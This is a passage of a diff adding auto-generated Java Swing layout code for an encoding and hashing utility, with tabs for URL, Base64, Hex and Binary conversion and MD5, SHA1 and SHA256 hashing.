.addComponent(jPanel1, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel25, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout urlLayout = new javax.swing.GroupLayout(url); + url.setLayout(urlLayout); + urlLayout.setHorizontalGroup( + urlLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel13, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + urlLayout.setVerticalGroup( + urlLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel13, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encodePanel.addTab("URL", url); + + jPanel17.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel9.setBackground(new java.awt.Color(2, 71, 105)); + jPanel9.setForeground(new java.awt.Color(255, 255, 255)); + jPanel9.setLayout(new java.awt.GridLayout(7, 1)); + + base64encode.setBackground(new java.awt.Color(2, 71, 105)); + base64encode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + base64encode.setForeground(new java.awt.Color(255, 255, 255)); + base64encode.setText("Base64 Encode"); + base64encode.setPreferredSize(new java.awt.Dimension(150, 100)); + base64encode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + base64encodeActionPerformed(evt); + } + }); + jPanel9.add(base64encode); + + base64decode.setBackground(new java.awt.Color(2, 71, 105)); + base64decode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + base64decode.setForeground(new java.awt.Color(255, 255, 255)); + base64decode.setText("Base64 Decode"); + base64decode.setPreferredSize(new java.awt.Dimension(150, 100)); + base64decode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + base64decodeActionPerformed(evt); + } + }); + jPanel9.add(base64decode); + + jPanel54.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel12.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel12.setForeground(new java.awt.Color(255, 255, 255)); + jLabel12.setText("Input"); + + base64input.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + base64inputActionPerformed(evt); + } + }); + + jLabel13.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel13.setForeground(new java.awt.Color(255, 255, 255)); + jLabel13.setText("Output"); + + base64output.setColumns(20); + base64output.setLineWrap(true); + base64output.setRows(5); + base64output.setAutoscrolls(false); + jScrollPane6.setViewportView(base64output); + + javax.swing.GroupLayout jPanel54Layout = new javax.swing.GroupLayout(jPanel54); + jPanel54.setLayout(jPanel54Layout); + jPanel54Layout.setHorizontalGroup( + jPanel54Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel54Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel54Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel54Layout.createSequentialGroup() + .addGroup(jPanel54Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel12) + .addComponent(jLabel13)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(base64input) + .addComponent(jScrollPane6, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel54Layout.setVerticalGroup( + jPanel54Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel54Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel12) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(base64input, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel13) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane6, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel17Layout = new javax.swing.GroupLayout(jPanel17); + jPanel17.setLayout(jPanel17Layout); + jPanel17Layout.setHorizontalGroup( + jPanel17Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel17Layout.createSequentialGroup() + .addComponent(jPanel9, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel54, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel17Layout.setVerticalGroup( + jPanel17Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel9, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel54, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout base64Layout = new javax.swing.GroupLayout(base64); + base64.setLayout(base64Layout); + base64Layout.setHorizontalGroup( + base64Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel17, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + base64Layout.setVerticalGroup( + base64Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel17, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encodePanel.addTab("Base 64", base64); + + jPanel18.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel10.setBackground(new java.awt.Color(2, 71, 105)); + jPanel10.setForeground(new java.awt.Color(255, 255, 255)); + jPanel10.setLayout(new java.awt.GridLayout(7, 1)); + + hexencode.setBackground(new java.awt.Color(2, 71, 105)); + hexencode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + hexencode.setForeground(new java.awt.Color(255, 255, 255)); + hexencode.setText("Hex Encode"); + hexencode.setPreferredSize(new java.awt.Dimension(150, 100)); + hexencode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + hexencodeActionPerformed(evt); + } + }); + jPanel10.add(hexencode); + + hexdecode.setBackground(new java.awt.Color(2, 71, 105)); + hexdecode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + hexdecode.setForeground(new java.awt.Color(255, 255, 255)); + hexdecode.setText("Hex Decode"); + hexdecode.setPreferredSize(new java.awt.Dimension(150, 100)); + hexdecode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + hexdecodeActionPerformed(evt); + } + }); + jPanel10.add(hexdecode); + + jPanel33.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel6.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel6.setForeground(new java.awt.Color(255, 255, 255)); + jLabel6.setText("Input"); + + hexinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + hexinputActionPerformed(evt); + } + }); + + jLabel7.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel7.setForeground(new java.awt.Color(255, 255, 255)); + jLabel7.setText("Output"); + + hexoutput.setColumns(20); + hexoutput.setLineWrap(true); + hexoutput.setRows(5); + hexoutput.setAutoscrolls(false); + jScrollPane3.setViewportView(hexoutput); + + javax.swing.GroupLayout jPanel33Layout = new javax.swing.GroupLayout(jPanel33); + jPanel33.setLayout(jPanel33Layout); + jPanel33Layout.setHorizontalGroup( + jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel33Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel33Layout.createSequentialGroup() + .addGroup(jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel6) + .addComponent(jLabel7)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(hexinput) + .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel33Layout.setVerticalGroup( + jPanel33Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel33Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel6) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(hexinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel7) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane3, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel18Layout = new javax.swing.GroupLayout(jPanel18); + jPanel18.setLayout(jPanel18Layout); + jPanel18Layout.setHorizontalGroup( + jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel18Layout.createSequentialGroup() + .addComponent(jPanel10, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel33, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel18Layout.setVerticalGroup( + jPanel18Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel10, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel33, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout hexLayout = new javax.swing.GroupLayout(hex); + hex.setLayout(hexLayout); + hexLayout.setHorizontalGroup( + hexLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel18, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + hexLayout.setVerticalGroup( + hexLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel18, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encodePanel.addTab("Hex", hex); + + jPanel14.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel11.setBackground(new java.awt.Color(2, 71, 105)); + jPanel11.setForeground(new java.awt.Color(255, 255, 255)); + jPanel11.setLayout(new java.awt.GridLayout(7, 1)); + + binaryencode.setBackground(new java.awt.Color(2, 71, 105)); + binaryencode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + binaryencode.setForeground(new java.awt.Color(255, 255, 255)); + binaryencode.setText("Binary Encode"); + binaryencode.setPreferredSize(new java.awt.Dimension(150, 100)); + binaryencode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + binaryencodeActionPerformed(evt); + } + }); + jPanel11.add(binaryencode); + + binarydecode.setBackground(new java.awt.Color(2, 71, 105)); + binarydecode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + binarydecode.setForeground(new java.awt.Color(255, 255, 255)); + binarydecode.setText("Binary Decode"); + binarydecode.setPreferredSize(new java.awt.Dimension(150, 100)); + binarydecode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + binarydecodeActionPerformed(evt); + } + }); + jPanel11.add(binarydecode); + + jPanel29.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel14.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel14.setForeground(new java.awt.Color(255, 255, 255)); + jLabel14.setText("Input"); + + binaryinput.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + binaryinputActionPerformed(evt); + } + }); + + jLabel15.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel15.setForeground(new java.awt.Color(255, 255, 255)); + jLabel15.setText("Output"); + + binaryoutput.setColumns(20); + binaryoutput.setLineWrap(true); + binaryoutput.setRows(5); + binaryoutput.setAutoscrolls(false); + jScrollPane7.setViewportView(binaryoutput); + + javax.swing.GroupLayout jPanel29Layout = new javax.swing.GroupLayout(jPanel29); + jPanel29.setLayout(jPanel29Layout); + jPanel29Layout.setHorizontalGroup( + jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel29Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel29Layout.createSequentialGroup() + .addGroup(jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel14) + .addComponent(jLabel15)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(binaryinput) + .addComponent(jScrollPane7, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel29Layout.setVerticalGroup( + jPanel29Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel29Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel14) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(binaryinput, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel15) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane7, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel14Layout = new javax.swing.GroupLayout(jPanel14); + jPanel14.setLayout(jPanel14Layout); + jPanel14Layout.setHorizontalGroup( + jPanel14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel14Layout.createSequentialGroup() + .addComponent(jPanel11, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel29, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel14Layout.setVerticalGroup( + jPanel14Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel11, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel29, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout binaryLayout = new javax.swing.GroupLayout(binary); + binary.setLayout(binaryLayout); + binaryLayout.setHorizontalGroup( + binaryLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel14, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + binaryLayout.setVerticalGroup( + binaryLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel14, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encodePanel.addTab("Binary", binary); + + javax.swing.GroupLayout encodingPanelLayout = new javax.swing.GroupLayout(encodingPanel); + encodingPanel.setLayout(encodingPanelLayout); + encodingPanelLayout.setHorizontalGroup( + encodingPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(encodePanel) + ); + encodingPanelLayout.setVerticalGroup( + encodingPanelLayout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(encodePanel, javax.swing.GroupLayout.DEFAULT_SIZE, 504, Short.MAX_VALUE) + ); + + jTabbedPane1.addTab("Encoding", encodingPanel); + + encryptionPanel2.setBackground(new java.awt.Color(2, 71, 105)); + encryptionPanel2.setForeground(new java.awt.Color(255, 255, 255)); + encryptionPanel2.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + + jPanel15.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel12.setBackground(new java.awt.Color(2, 71, 105)); + jPanel12.setForeground(new java.awt.Color(255, 255, 255)); + jPanel12.setLayout(new java.awt.GridLayout(7, 1)); + + md5encode.setBackground(new java.awt.Color(2, 71, 105)); + md5encode.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + md5encode.setForeground(new java.awt.Color(255, 255, 255)); + md5encode.setText("MD5 Encrypt"); + md5encode.setPreferredSize(new java.awt.Dimension(150, 100)); + md5encode.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + md5encodeActionPerformed(evt); + } + }); + jPanel12.add(md5encode); + + jPanel30.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel10.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel10.setForeground(new java.awt.Color(255, 255, 255)); + jLabel10.setText("Input"); + + md5input.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + md5inputActionPerformed(evt); + } + }); + + jLabel11.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel11.setForeground(new java.awt.Color(255, 255, 255)); + jLabel11.setText("Output"); + + md5output.setColumns(20); + md5output.setLineWrap(true); + md5output.setRows(5); + md5output.setAutoscrolls(false); + jScrollPane5.setViewportView(md5output); + + javax.swing.GroupLayout jPanel30Layout = new javax.swing.GroupLayout(jPanel30); + jPanel30.setLayout(jPanel30Layout); + jPanel30Layout.setHorizontalGroup( + jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel30Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel30Layout.createSequentialGroup() + .addGroup(jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel10) + .addComponent(jLabel11)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(md5input) + .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel30Layout.setVerticalGroup( + jPanel30Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel30Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel10) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(md5input, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel11) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane5, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel15Layout = new javax.swing.GroupLayout(jPanel15); + jPanel15.setLayout(jPanel15Layout); + jPanel15Layout.setHorizontalGroup( + jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel15Layout.createSequentialGroup() + .addComponent(jPanel12, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel30, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel15Layout.setVerticalGroup( + jPanel15Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel12, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel30, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout md5Layout = new javax.swing.GroupLayout(md5); + md5.setLayout(md5Layout); + md5Layout.setHorizontalGroup( + md5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + md5Layout.setVerticalGroup( + md5Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel15, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encryptionPanel2.addTab("MD5", md5); + + jPanel16.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel19.setBackground(new java.awt.Color(2, 71, 105)); + jPanel19.setForeground(new java.awt.Color(255, 255, 255)); + jPanel19.setLayout(new java.awt.GridLayout(7, 1)); + + sha1encrypt.setBackground(new java.awt.Color(2, 71, 105)); + sha1encrypt.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + sha1encrypt.setForeground(new java.awt.Color(255, 255, 255)); + sha1encrypt.setText("SHA1 Encrypt"); + sha1encrypt.setPreferredSize(new java.awt.Dimension(150, 100)); + sha1encrypt.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + sha1encryptActionPerformed(evt); + } + }); + jPanel19.add(sha1encrypt); + + jPanel31.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel16.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel16.setForeground(new java.awt.Color(255, 255, 255)); + jLabel16.setText("Input"); + + sha1input.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + sha1inputActionPerformed(evt); + } + }); + + jLabel17.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel17.setForeground(new java.awt.Color(255, 255, 255)); + jLabel17.setText("Output"); + + sha1output.setColumns(20); + sha1output.setLineWrap(true); + sha1output.setRows(5); + sha1output.setAutoscrolls(false); + jScrollPane8.setViewportView(sha1output); + + javax.swing.GroupLayout jPanel31Layout = new javax.swing.GroupLayout(jPanel31); + jPanel31.setLayout(jPanel31Layout); + jPanel31Layout.setHorizontalGroup( + jPanel31Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel31Layout.createSequentialGroup() + .addContainerGap() + .addGroup(jPanel31Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel31Layout.createSequentialGroup() + .addGroup(jPanel31Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jLabel16) + .addComponent(jLabel17)) + .addGap(0, 0, Short.MAX_VALUE)) + .addComponent(sha1input) + .addComponent(jScrollPane8, javax.swing.GroupLayout.DEFAULT_SIZE, 761, Short.MAX_VALUE)) + .addContainerGap()) + ); + jPanel31Layout.setVerticalGroup( + jPanel31Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(jPanel31Layout.createSequentialGroup() + .addContainerGap() + .addComponent(jLabel16) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(sha1input, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addComponent(jLabel17) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jScrollPane8, javax.swing.GroupLayout.PREFERRED_SIZE, 311, javax.swing.GroupLayout.PREFERRED_SIZE) + .addContainerGap()) + ); + + javax.swing.GroupLayout jPanel16Layout = new javax.swing.GroupLayout(jPanel16); + jPanel16.setLayout(jPanel16Layout); + jPanel16Layout.setHorizontalGroup( + jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel16Layout.createSequentialGroup() + .addComponent(jPanel19, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addComponent(jPanel31, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + jPanel16Layout.setVerticalGroup( + jPanel16Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel19, javax.swing.GroupLayout.PREFERRED_SIZE, 0, Short.MAX_VALUE) + .addComponent(jPanel31, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + javax.swing.GroupLayout sha1Layout = new javax.swing.GroupLayout(sha1); + sha1.setLayout(sha1Layout); + sha1Layout.setHorizontalGroup( + sha1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel16, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + sha1Layout.setVerticalGroup( + sha1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING) + .addComponent(jPanel16, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) + ); + + encryptionPanel2.addTab("SHA1", sha1); + + jPanel20.setBorder(javax.swing.BorderFactory.createCompoundBorder(javax.swing.BorderFactory.createCompoundBorder(), javax.swing.BorderFactory.createCompoundBorder(null, javax.swing.BorderFactory.createCompoundBorder()))); + + jPanel21.setBackground(new java.awt.Color(2, 71, 105)); + jPanel21.setForeground(new java.awt.Color(255, 255, 255)); + jPanel21.setLayout(new java.awt.GridLayout(7, 1)); + + sha256encrypt.setBackground(new java.awt.Color(2, 71, 105)); + sha256encrypt.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + sha256encrypt.setForeground(new java.awt.Color(255, 255, 255)); + sha256encrypt.setText("SHA256 Encrypt"); + sha256encrypt.setPreferredSize(new java.awt.Dimension(150, 100)); + sha256encrypt.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + sha256encryptActionPerformed(evt); + } + }); + jPanel21.add(sha256encrypt); + + jPanel32.setBackground(new java.awt.Color(55, 65, 74)); + + jLabel18.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel18.setForeground(new java.awt.Color(255, 255, 255)); + jLabel18.setText("Input"); + + sha256input.addActionListener(new java.awt.event.ActionListener() { + public void actionPerformed(java.awt.event.ActionEvent evt) { + sha256inputActionPerformed(evt); + } + }); + + jLabel19.setFont(new java.awt.Font("Segoe UI Symbol", 0, 14)); // NOI18N + jLabel19.setForeground(new java.awt.Color(255, 255, 255)); + 